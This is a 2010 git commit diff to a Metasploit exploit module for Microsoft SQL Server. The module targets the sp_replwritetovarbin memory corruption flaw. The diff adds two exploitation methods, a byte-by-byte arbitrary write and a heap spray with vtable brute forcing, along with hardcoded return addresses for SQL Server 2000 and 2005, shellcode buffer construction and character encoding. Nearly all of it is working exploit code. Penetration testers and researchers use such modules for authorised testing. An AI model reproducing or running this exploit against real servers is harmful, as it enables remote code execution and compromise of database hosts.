many updates, now supporting two diff techniques

git-svn-id: file:///home/svn/framework3/trunk@8061 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2010-01-03 08:10:28 +00:00
parent b35df262ba
commit bb07ea9854
1 changed files with 243 additions and 62 deletions

View File

@ -15,6 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::MSSQL
def initialize(info = {})
super(update_info(info,
@ -41,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00",
'BadChars' => "",
'StackAdjustment' => -3500,
'DisableNops' => true
},
@ -56,41 +57,72 @@ class Metasploit3 < Msf::Exploit::Remote
# Individual targets
#
[
'MSSQL 2000 / MSDE',
# Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
# Aug 6 2000 00:57:48
'MSSQL 2000 / MSDE SP0 (8.00.194)',
{
'Writable' => 0x42b6cfe0,
'Ret' => 0x42b6be7b
'Method' => 'writeNcall',
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
'Vtable' => 0x1b0768c8, # becomes eax for [eax+0x38] (must be valid to exec)
'Ret' => 0x42b6be7b # jmp ecx in sqlsort.dll (2000 base)
},
],
[
# Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
# May 3 2005 23:18:38
'MSSQL 2000 / MSDE SP4 (8.00.2039)',
{
'Method' => 'sprayNbrute',
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
'Vtable' => 0x1b0768c8, # becomes eax for [eax+0x38] (must be valid to exec)
'Ret' => 0x42b0be10 # jmp ecx in sqlsort.dll (2000 sp4)
#'Ret' => 0x773d115b # jmp ecx in activeds.dll (2000 sp4 on 2000)
},
],
[
# Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
# Oct 14 2005 00:33:37
'MSSQL 2005 (9.00.1399.06)',
{
'Method' => 'sprayNbrute',
'Writable' => 0x53ad5330, # any writable addr (not even necessary really)
'Vtable' => 0x05413090, # becomes edx for [edx+0x10] or [edx+4] (must be valid to exec)
'Ret' => 0x49a9835f # jmp ecx ?
},
],
[
# debugging...
'CRASHER',
{
'Method' => 'sprayNbrute',
'Writable' => 0xcafebabe,
'Vtable' => 0xfeedfed5,
'Ret' => 0xdeadbeef
},
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 5 2002'
'DisclosureDate' => 'Dec 09 2008'
))
end
def check
info = mssql_ping
if (info and info.has_key?('Version'))
# the ping to port 1434 method has two drawbacks...
# #1, it doesn't work on mssql 2005 or newer (localhost only listening)
# #2, it doesn't give an accurate version number (sp/os)
# TODO: better detection
if (info['Version'] =~ /8\.00\.194/)
return Exploit::CheckCode::Vulnerable
end
# dump the discovered info and return that we detected MSSQL
info.each_pair { |k,v|
print_status(" #{k + (" " * (15-k.length))} = #{v}")
}
# since we need to have credentials for this vuln, we just login and run a query
# to get the version information
version = mssql_query_version
if not version
return Exploit::CheckCode::Detected
end
print_status("@@version returned:\n\t" + version)
# TODO: add more versions
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.194/)
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.2039/)
return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.1399\.06/)
return Exploit::CheckCode::Safe
end
@ -99,40 +131,91 @@ class Metasploit3 < Msf::Exploit::Remote
mytarget = nil
if target.name =~ /Automatic/
print_status("Attempting automatic target detection...")
info = mssql_ping
if (info and info.has_key?('Version'))
if (info['Version'] =~ /8\.00\./)
mytarget = targets[1]
elsif (info['Version'] =~ /9\.00\./)
mytarget = targets[2]
end
version = mssql_query_version
raise RuntimError, "Unable to get version!" if not version
if (version =~ /8\.00\.194/)
mytarget = targets[1]
elsif (version =~ /8\.00\.2039/)
mytarget = targets[2]
elsif (version =~ /9\.00\./)
mytarget = targets[3]
end
if mytarget.nil?
raise RuntimeError, "Unable to automatically detect the target"
else
print_status("Automatically detected target \"#{mytarget.name}\" from version \"#{info['Version']}\"")
print_status("Automatically detected target \"#{mytarget.name}\"")
end
else
mytarget = target
end
# prepare a known address pointing to jmp ecx!
if not write4(mytarget['Ret'], mytarget['Writable'])
raise RuntimeError, "Unable to write a byte!"
if mytarget['Method'] == 'sprayNbrute'
exploit_spray_and_brute(mytarget)
elsif mytarget['Method'] == 'writeNcall'
exploit_write_and_call(mytarget)
else
raise RuntimeError, "Invalid exploitation method specified."
end
end
# prepare a known address pointing to jmp ecx!
def exploit_write_and_call(mytarget)
# write the 4 bytes..
packed_ret = [mytarget['Ret']].pack('V')
x = 0
packed_ret.unpack('C*').each do |byte|
if (not mssql_login_datastore)
raise RuntimeError, "Invalid SQL Server credentials"
end
addr = mytarget['Writable'] + x
# write a single byte value to an arbitrary address (using this vuln)
print_status("Writing 0x%02x to %#x ..." % [byte, addr])
num = 16
sz = num + 179
buf = rand_text_alphanumeric(sz)
# this corresponds to mov [eax+4], ecx
buf << [addr - 4].pack('V')
# this causes a length value to have the lsb of our byte
len = 0x169
if (len & 0xff) < byte
len = byte - (len & 0xff)
else
len = (0x200 - len) + byte
end
extra = rand_text_alphanumeric(len)
write_byte_sql = %Q|declare @e int,@b varbinary,@l int;exec master.dbo.sp_replwritetovarbin %NUM%,@e out,@b out,@l out,'%STUFF%','','','','','','','','','%EXTRA%'|
buf = mssql_encode_string(buf)
sql = write_byte_sql.gsub(/%NUM%/, num.to_s).gsub(/%STUFF%/, buf).gsub(/%EXTRA%/, extra)
begin
ret = mssql_query(sql, false)
rescue ::Errno::ECONNRESET, EOFError
print_error("Error: #{$!}")
end
x += 1
end
if (not mssql_login_datastore)
raise RuntimeError, "Invalid SQL Server credentials"
end
# trigger the call [eax+0x38]
# call to ecx via the ptr we wrote
print_status("Triggering the call to our faked vtable ptr @ %#x" % mytarget['Writable'])
sqlquery = %Q|declare @buf NVARCHAR(4000);
SET @buf='declare @eo int,@vb varbinary,@vbl int;
exec master.dbo.sp_replwritetovarbin 16,@eo output,@vb output,@vbl output,''%STUFF%'',''30'',''31'',''32'',''33'',''34'',''35'',''36'',''37'',''38'';
';
EXEC master..sp_executesql @buf;
sqlquery = %Q|declare @i int,@buf nvarchar(4000)
set @buf='declare @e int,@b varbinary,@l int;'
set @buf=@buf+'exec master.dbo.sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'','''
set @buf=@buf+'1'',''2'',''3'',''4'',''5'',''6'',''7'',''8'''
exec master..sp_executesql @buf
|
# make sploit buff
num = 16
@ -145,50 +228,124 @@ EXEC master..sp_executesql @buf;
# encode chars that get modified
enc = mssql_encode_string(sploit)
sqlquery.gsub!(/%STUFF%/, enc)
mssql_query(sqlquery, false)
sql = sqlquery.gsub(/%NUM%/, num.to_s).gsub(/%STUFF%/, enc)
ret = mssql_query(sql)
handler
disconnect
end
# write a single byte value to an arbitrary address (using this vuln)
def write1(byte, addr)
def exploit_spray_and_brute(mytarget)
if (not mssql_login_datastore)
raise RuntimeError, "Invalid SQL Server credentials"
end
print_status("Writing 0x%02x to %#x ..." % [byte, addr])
num = 16
sz = num + 179
brute_count = 1000
brute_step = 4096
spray = true
buf = rand_text_alphanumeric(sz)
# this corresponds to mov [eax+4], ecx
buf << [addr - 4].pack('V')
if spray
extra = rand_text_alphanumeric((0x100 - 0xe1) + byte)
print_status("Spraying the heap with our vtable entry pointer of %#x" % mytarget['Ret'])
write_byte_sql = %Q|declare @eo int,@vb varbinary,@vbl int;exec master.dbo.sp_replwritetovarbin %NUM%,@eo output,@vb output,@vbl output,'%STUFF%','%EXTRA%';|
sql = write_byte_sql.gsub(/%NUM%/, num.to_s).gsub(/%STUFF%/, buf).gsub(/%EXTRA%/, extra)
ret = mssql_query(sql, false)
# spray the heap! (count of 'max' blocks of 8000 bytes...)
query2 = "declare @s varchar(8000);set @s='%MARKER%'+REPLICATE(%ADDR%, (8000/4)-3)+'%MARKER%'+%ADDR%;select @s"
query = %Q|declare @s nvarchar(4000);set @s='%QUERY2%';exec master..sp_executesql @s|
disconnect
addr = mssql_str_to_chars([mytarget['Ret']].pack('V'))
=begin
search_cmd = "s -b 0 L?-1 41 41"
search_cmd << Rex::Text.to_hex([mytarget['Ret']].pack('V'), ' ')
print_status("search command: " + search_cmd)
=end
max = 1000
part = max / 10
part = 1 if part < 1
max.times do |x|
print_status("Spraying ... %d / %d" % [x,max]) if ((x % part)==0)
marker = [0x41414141 + x].pack('V')
q2run = query2.gsub(/%MARKER%/, marker)
q2run.gsub!(/%ADDR%/, addr)
q2run.gsub!(/\'/, "\'\'")
runme = query.gsub(/%QUERY2%/, q2run)
break if not mssql_query(runme)
end
end
sqlquery = %Q|declare @i int,@buf nvarchar(4000)
set @buf='declare @e int,@b varbinary,@l int;'
set @buf=@buf+'exec master.dbo.sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'','''
set @buf=@buf+'1'',''2'',''3'',''4'',''5'',''6'',''7'',''8'''
exec master..sp_executesql @buf
|
# trigger the memory corruption
brute_count.times do |x|
vtable = mytarget['Vtable'] + (x * brute_step)
# make sploit buff
num = 16
sz = num + 179
sploit = make_nops(sz-2)
#sploit = "\x90" * (sz-2)
sploit << "\xeb\x04"
sploit << [mytarget['Writable'] + 8].pack('V')
sploit << payload.encoded
# mssql 2000 vtable ptr smashed!
sploit[num-13,4] = [vtable-0x38].pack('V')
# mssql 2005 stuff:
# the vtable is deref'd twice here
# - first time ecx points at our buffer and the offset is 0x10
# - second time esp+8 points to our buffer and the offset is 0x04
sploit[num+63,4] = [vtable-0x10].pack('V')
#sploit[num+407,4] = [vtable-0x4].pack('V')
# encode chars that get modified
enc = mssql_encode_string(sploit)
# put the number in (start offset)
runme = sqlquery.gsub(/%NUM%/, num.to_s)
runme.gsub!(/%STUFF%/, enc)
print_status("Triggering the call to our faked vtable ptr @ %#x" % vtable)
# go!
begin
mssql_query(runme)
rescue ::Errno::ECONNRESET
print_error("connection reset!")
if (not mssql_login_datastore)
raise RuntimeError, "Unable to re-login!"
end
end
handler
break if session_created?
end
end
def mssql_str_to_chars(str)
ret = ""
str.unpack('C*').each do |ch|
ret += "+" if ret.length > 0
ret += "char("
ret << ch.to_s
ret += ")"
end
return ret
end
# repeatedly write1 !
def write4(dword, addr)
arr = [dword].pack('V').unpack('C*')
x = 0
arr.each do |byte|
return false if not write1(byte, addr+x)
x += 1
end
return true
end
def mssql_encode_string(str)
badchars = "\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f"
badchars = "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f"
enc = ""
in_str = true
@ -228,4 +385,28 @@ EXEC master..sp_executesql @buf;
return enc
end
def mssql_query_version
if (not mssql_login_datastore)
raise RuntimeError, "Invalid SQL Server credentials"
end
res = mssql_query("select @@version")
disconnect
return nil if not res
if res[:errors] and not res[:errors].empty?
errstr = ""
res[:errors].each do |err|
errstr << err
end
raise RuntimeError, errstr
end
if not res[:rows] or res[:rows].empty?
return nil
end
return res[:rows][0][0]
end
end